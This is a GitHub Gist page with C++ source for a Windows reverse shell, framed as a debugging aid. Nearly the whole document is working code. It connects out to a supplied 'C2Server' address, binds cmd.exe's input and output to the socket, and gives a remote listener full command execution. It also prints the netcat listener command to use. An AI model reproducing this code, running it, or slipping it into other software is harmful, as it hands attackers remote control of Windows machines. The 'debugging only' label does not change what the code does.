Skip to content

Instantly share code, notes, and snippets.

@mrexodia

mrexodia/reverseshell.cpp

Last active Nov 14, 2019
Embed
What would you like to do?
Reverse shell winapi c++ windows cmd. Useful for debugging production environments.
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
/*
THIS IS FOR DEBUGGING ONLY, DO NOT RUN THIS CODE IN PRODUCTION UNDER ANY CIRCUMSTANCE!
https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp
https://github.com/tudorthe1ntruder/reverse-shell-poc/blob/master/rs.c
https://eternallybored.org/misc/netcat/
*/
static void RunShell(char* C2Server, int C2Port)
{
printf("RunShell(\"%s\", %d), to connect: nc -lvnp %d\n", C2Server, C2Port, C2Port);
constexpr auto tickTime = 1000;
constexpr auto totalTicks = 120;
printf("Waiting a total of %dms for a connection...\n", tickTime * totalTicks);
for (int i = 0; i < totalTicks; i++)
{
Sleep(tickTime);
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2, 2), &version);
mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR)
{
closesocket(mySocket);
WSACleanup();
continue;
}
else
{
puts("Client connected!");
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
closesocket(mySocket);
WSACleanup();
puts("Shell closed");
break;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.